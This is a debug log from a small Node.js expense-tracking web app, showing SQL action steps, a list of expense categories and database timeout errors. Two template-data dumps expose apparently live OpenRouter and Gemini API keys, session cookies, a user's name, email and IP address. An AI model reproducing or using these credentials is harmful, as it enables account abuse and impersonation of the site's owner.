2025-12-22T05:08:38.401Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-22T05:08:38.401Z server-connect:app Executing action step identify
2025-12-22T05:08:38.401Z server-connect:app options: { provider: 'security' }
2025-12-22T05:08:38.401Z server-connect:output identity: 1
2025-12-22T05:08:38.401Z server-connect:app Executing action step restrict
2025-12-22T05:08:38.401Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-22T05:08:38.401Z server-connect:output restrict: undefined
2025-12-22T05:08:38.401Z server-connect:app Executing action step select
2025-12-22T05:08:38.401Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-22T05:08:38.402Z server-connect:output restrict: undefined
2025-12-22T05:08:38.402Z server-connect:app Executing action step single
2025-12-22T05:08:38.402Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-22T05:08:38.402Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-22T05:08:38.404Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-22T05:08:44.199Z server-connect:router Serving templateView /
2025-12-22T05:08:44.203Z server-connect:app Executing action step identify
2025-12-22T05:08:44.203Z server-connect:app options: { provider: 'security' }
2025-12-22T05:08:44.203Z server-connect:output identity: 1
2025-12-22T05:08:44.203Z server-connect:app Executing action step restrict
2025-12-22T05:08:44.203Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-22T05:08:44.204Z server-connect:output restrict: undefined
2025-12-22T05:08:44.204Z server-connect:app Executing action step restrict
2025-12-22T05:08:44.204Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-22T05:08:44.205Z server-connect:output restrict: undefined
2025-12-22T05:08:44.205Z server-connect:router Render template layouts/main
2025-12-22T05:08:44.206Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    accept: '*/*',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'empty',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3A4EQ6kg0pjZbMMIeeMiKlvw%3D%3D.i7dYpm%2BV5s5u7jPwLdZgGqvfrrGGQz%2FcrX3EBRp1jCwIbDG9OrKIqgCKJJEeYWxFxmUeY%2BHoow1z48iBDZbQevi8p9zCU%2F12DOYRNvsopahwTRFg9euQ1%2FfUWQiXUgQk%2Bc2qcEe2TV39npYHeRKOJ85nFLAGBnY6EcL9MqKBhwA%3D.w5IiFny35pgWai%2FSIb89X%2B6BNfPbKyHc1V4QLedGWws; your_r_git.sid=s%3AlEBwdcRmk2INjiTvNojIo9YaDtXx_pgj.FK7mrBfKMiz0WjoL3It0w8%2FRGJFLM1IbN%2B2nb17GVCY',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-23T03:42:10.843Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: '*/*',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3A4EQ6kg0pjZbMMIeeMiKlvw%3D%3D.i7dYpm%2BV5s5u7jPwLdZgGqvfrrGGQz%2FcrX3EBRp1jCwIbDG9OrKIqgCKJJEeYWxFxmUeY%2BHoow1z48iBDZbQevi8p9zCU%2F12DOYRNvsopahwTRFg9euQ1%2FfUWQiXUgQk%2Bc2qcEe2TV39npYHeRKOJ85nFLAGBnY6EcL9MqKBhwA%3D.w5IiFny35pgWai%2FSIb89X%2B6BNfPbKyHc1V4QLedGWws; your_r_git.sid=s%3AlEBwdcRmk2INjiTvNojIo9YaDtXx_pgj.FK7mrBfKMiz0WjoL3It0w8%2FRGJFLM1IbN%2B2nb17GVCY',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-22 05:39:10' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-22 05:39:10' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-22 05:43:41' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-22 05:43:41' as DATETIME)"
}
2025-12-22T05:48:46.065Z server-connect:router Serving templateView /
2025-12-22T05:48:46.065Z server-connect:app Executing action step identify
2025-12-22T05:48:46.065Z server-connect:app options: { provider: 'security' }
2025-12-22T05:48:46.066Z server-connect:output identity: 1
2025-12-22T05:48:46.066Z server-connect:app Executing action step restrict
2025-12-22T05:48:46.066Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-22T05:48:46.067Z server-connect:output restrict: undefined
2025-12-22T05:48:46.067Z server-connect:app Executing action step restrict
2025-12-22T05:48:46.067Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-22T05:48:46.068Z server-connect:output restrict: undefined
2025-12-22T05:48:46.068Z server-connect:router Render template layouts/main
2025-12-22T05:48:46.068Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    'sec-purpose': 'prefetch;prerender',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3A4EQ6kg0pjZbMMIeeMiKlvw%3D%3D.i7dYpm%2BV5s5u7jPwLdZgGqvfrrGGQz%2FcrX3EBRp1jCwIbDG9OrKIqgCKJJEeYWxFxmUeY%2BHoow1z48iBDZbQevi8p9zCU%2F12DOYRNvsopahwTRFg9euQ1%2FfUWQiXUgQk%2Bc2qcEe2TV39npYHeRKOJ85nFLAGBnY6EcL9MqKBhwA%3D.w5IiFny35pgWai%2FSIb89X%2B6BNfPbKyHc1V4QLedGWws; your_r_git.sid=s%3AlEBwdcRmk2INjiTvNojIo9YaDtXx_pgj.FK7mrBfKMiz0WjoL3It0w8%2FRGJFLM1IbN%2B2nb17GVCY',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-23T03:42:10.843Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_SEC_PURPOSE: 'prefetch;prerender',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3A4EQ6kg0pjZbMMIeeMiKlvw%3D%3D.i7dYpm%2BV5s5u7jPwLdZgGqvfrrGGQz%2FcrX3EBRp1jCwIbDG9OrKIqgCKJJEeYWxFxmUeY%2BHoow1z48iBDZbQevi8p9zCU%2F12DOYRNvsopahwTRFg9euQ1%2FfUWQiXUgQk%2Bc2qcEe2TV39npYHeRKOJ85nFLAGBnY6EcL9MqKBhwA%3D.w5IiFny35pgWai%2FSIb89X%2B6BNfPbKyHc1V4QLedGWws; your_r_git.sid=s%3AlEBwdcRmk2INjiTvNojIo9YaDtXx_pgj.FK7mrBfKMiz0WjoL3It0w8%2FRGJFLM1IbN%2B2nb17GVCY',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2025-12-22T05:48:46.753Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-22T05:48:46.755Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-22T05:48:46.755Z server-connect:app Executing action step identify
2025-12-22T05:48:46.755Z server-connect:app options: { provider: 'security' }
2025-12-22T05:48:46.755Z server-connect:output identity: 1
2025-12-22T05:48:46.755Z server-connect:app Executing action step restrict
2025-12-22T05:48:46.755Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-22T05:48:46.755Z server-connect:app Executing action step identify
2025-12-22T05:48:46.755Z server-connect:app options: { provider: 'security' }
2025-12-22T05:48:46.755Z server-connect:output identity: 1
2025-12-22T05:48:46.756Z server-connect:app Executing action step restrict
2025-12-22T05:48:46.756Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-22T05:48:46.757Z server-connect:output restrict: undefined
2025-12-22T05:48:46.757Z server-connect:app Executing action step select
2025-12-22T05:48:46.757Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-22T05:48:46.757Z server-connect:output restrict: undefined
2025-12-22T05:48:46.757Z server-connect:app Executing action step single
2025-12-22T05:48:46.757Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-22T05:48:46.758Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-22T05:48:46.761Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
